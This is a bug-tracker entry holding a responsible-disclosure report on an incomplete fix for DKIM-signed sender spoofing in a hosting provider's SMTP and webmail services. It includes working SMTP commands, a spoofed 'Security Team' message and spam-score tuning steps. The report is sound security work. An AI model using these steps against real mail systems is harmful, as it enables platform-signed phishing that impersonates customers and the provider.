All Projects

ID Status Summary Opened by
 533 Closed Incomplete fix of FS#481 - DKIM-signed email spoofing a ...1mm4nu3l Task Description

Title: Incomplete fix of  FS#481  - DKIM-signed email spoofing as another customer's *.alwaysdata.net subdomain and as @alwaysdata.com

Asset: webmail.alwaysdata.com (in-scope); SMTP submission service smtp-adtbeta02.alwaysdata.net:465, accessed from in-scope ssh-adtbeta02.alwaysdata.net (same path used in  FS#481 ).

Severity: CVSS 3.1 AV:N/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:N = 6.5 (Medium). See severity note at the end.

—

## What the fix did and what it missed

 FS#481  added a case-insensitive SMTP rejection for the exact string "alwaysdata.net":

```
From: ceo@alwaysdata.net → 550 You are not allowed to send messages from this address
From: Ceo@AlwaysData.Net → 550 (correctly blocked)
```

The check only covers that exact domain. Two variants remain unblocked:

```
From: security@adtalpha01.alwaysdata.net ← another customer's *.alwaysdata.net subdomain
From: ceo@alwaysdata.com ← the company's own brand domain
```

Both are accepted by the SMTP submission service, relayed through smtpout1.paris1.alwaysdata.com, and DKIM-signed by the platform with `d=alwaysdata.net; s=default`, with the From header explicitly listed in `h=`. The message arrives in the victim's inbox with a valid platform DKIM signature.

The difference from plain From-header forgery (which any SMTP client can do): the platform's own signing key signs the spoofed From address. An external mail client cannot produce a `DKIM-Signature: d=alwaysdata.net`. That signature can only come from alwaysdata's outbound infrastructure. The webmail identity UI at webmail.alwaysdata.com also accepts these From addresses for storage without any ownership check, though direct SMTP submission produces lower spam scores and was used for all reproduction runs.

Regarding  FS#264  (closed Invalid, Dec 2025): that report was about unauthenticated From-header forgery available from any SMTP client. The resolver's closing note ("an attacker can easily impersonate you even without that issue, as they could use any email application to do so") does not apply here. The DKIM signature `d=alwaysdata.net` on the spoofed From is what external mail clients cannot add. This is the same class of signing that was considered a problem in  FS#481  and fixed there.

—

## Test accounts

Two ordinary free accounts, separate customers, no paid plan or special role:

Account A (victim) Account B (attacker)
———
Customer ID 499799 499801
Account name adtalpha01 adtbeta02
Mailbox adtalpha01@alwaysdata.net adtbeta02@alwaysdata.net

—

## Steps to reproduce

Step 1. Connect to B's SMTP submission service, authenticated as B's mailbox:

```
openssl s_client -quiet -connect smtp-adtbeta02.alwaysdata.net:465 \

  1. servername smtp-adtbeta02.alwaysdata.net

```

Generate the AUTH PLAIN credential (substitute the actual mailbox password):

```python
import base64
print(base64.b64encode(b'\x00adtbeta02@alwaysdata.net\x00<B_MAILBOX_PASSWORD>').decode())
```

Step 2. Send a message with A's subdomain as the From address:

```
EHLO client
AUTH PLAIN <base64 value from above>
MAIL FROM:adtbeta02@alwaysdata.net RCPT TO:adtalpha01@alwaysdata.net DATA
MIME-Version: 1.0
Content-Type: text/plain; charset=utf-8
From: "Security Team" security@adtalpha01.alwaysdata.net To: adtalpha01@alwaysdata.net Subject: Security alert from your hosting account

Account security notice.
.
```

Server returns `250 OK`. Message is delivered to A's inbox.

Step 3. Fetch A's message over IMAP and inspect headers:

```
Return-Path: adtbeta02@alwaysdata.net Delivered-To: adtalpha01@alwaysdata.net From: "Security Team" security@adtalpha01.alwaysdata.net DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;

  d=alwaysdata.net; s=default; h=Date:Message-Id:Subject:To:From:
  Content-Type:MIME-Version:...

X-alwaysdata-Spam-Score: 0.52
X-alwaysdata-Spam-Report:

  3.00 MIME_FROM_MX_A_REFUSED [adtalpha01.alwaysdata.net]
  0.30 FORGED_SENDER [security@adtalpha01.alwaysdata.net, adtbeta02@alwaysdata.net]
  ...
  -1.21 R_DKIM_ALLOW [alwaysdata.net:s=default]

```

Step 4. Verify the DKIM signature on the raw .eml:

```python
import dkim
print(dkim.verify(open('message.eml', 'rb').read()))
# True
```

—

## Three independent reproductions (live platform)

Run Date (UTC) From address Spam score Delivered to A dkim.verify()
——————
1 2026-10-24 21:38 security@adtalpha01.alwaysdata.net (bare) 4.23 yes (uid 1) True
2 2026-10-25 "Security Team" \<security@adtalpha01.alwaysdata.net\> 3.01 yes (uid 4) True
3 2026-10-25 same as Run 2, clean MIME headers, no User-Agent 0.52 yes (uid 5) True

The score difference between runs is content-dependent: Run 1 hit SUBJ_ALL_CAPS (+0.70) and R_MISSING_CHARSET (+1.00). Run 3 avoids both; the remaining score is 3.00 (MIME_FROM_MX_A_REFUSED, unavoidable for a subdomain with no outbound MX) plus 0.30 (FORGED_SENDER), offset by DKIM reputation and SPF reputation to 0.52.

External delivery test (2026-10-25): the same message was sent to an external address (adttest24769pj4@maxxspace.com, Haraka/3.1.2 MTA). Delivered. Received headers at the external server:

```
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;

  d=alwaysdata.net; s=default; h=Date:Message-Id:Subject:To:From:
  Content-Type:MIME-Version:...

From: "Security Team" security@adtalpha01.alwaysdata.net ```

The @alwaysdata.com variant (`From: "Support Team" support@alwaysdata.com`) was also delivered to the same external address with `DKIM-Signature: d=alwaysdata.net`.

—

## DMARC limitation on external delivery

`_dmarc.alwaysdata.net` and `_dmarc.alwaysdata.com` both publish `p=quarantine; adkim=s; aspf=s`. Because the signing domain is `d=alwaysdata.net` and the From domain is `adtalpha01.alwaysdata.net`, strict DKIM alignment (`adkim=s`) fails. External receivers that enforce DMARC (Gmail, Microsoft 365) will quarantine rather than deliver. The external delivery above was to Haraka/3.1.2, which does not enforce DMARC.

On-platform delivery is unaffected by DMARC. The on-platform spam score of 0.52 means the message is not flagged or filtered for the recipient.

—

## Impact

Any authenticated alwaysdata customer can deliver a message to another customer's mailbox that appears to come from that customer's own site subdomain (`security@victim.alwaysdata.net`, `noreply@victim.alwaysdata.net`, etc.). The message carries a valid `DKIM-Signature: d=alwaysdata.net`, the same signing domain the platform uses for all legitimate outbound mail. On-platform the spam score is well below any delivery threshold; the recipient sees no spam warning.

The `@alwaysdata.com` variant (e.g. `ceo@alwaysdata.com`, `support@alwaysdata.com`) delivers on-platform and to non-DMARC-enforcing external infrastructure, impersonating the hosting provider's brand.

—

## Severity note

CVSS 3.1: AV:N/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:N = 6.5 (Medium). UI:R is used because the phishing outcome depends on the recipient acting on the spoofed message. If the program treats delivery of a platform-DKIM-signed spoofed message as the integrity violation itself (consistent with how  FS#481  was scored), then UI:N applies and the score is 7.5 (High).

AC:L: no special conditions. The submission service accepts the spoofed From on every attempt.

—

## Fix

The denylist approach (blocking the exact string "alwaysdata.net") is the root of the bypass. The fix is to check domain ownership at SMTP submission and at webmail identity save time: the From domain must be owned by the authenticated account or be an explicitly verified alias. The check must normalize the domain first (lowercase, trailing dot stripped, IDNA-decoded) and cover `*.alwaysdata.net` and `*.alwaysdata.com` for non-owners.

—

## Cleanup

All messages were sent between the reporter's own A/B mailboxes and to a reporter-owned test external inbox. Webmail identities were deleted after testing. No third-party data was accessed or read.

Account credentials and raw .eml files are not included here; they can be provided via a support ticket on the administration interface.

—

*Discovery date: 2026-10-24*

Showing tasks 1 - 1 of 1 Page 1 of 1

Available keyboard shortcuts

Tasklist

Task Details

Task Editing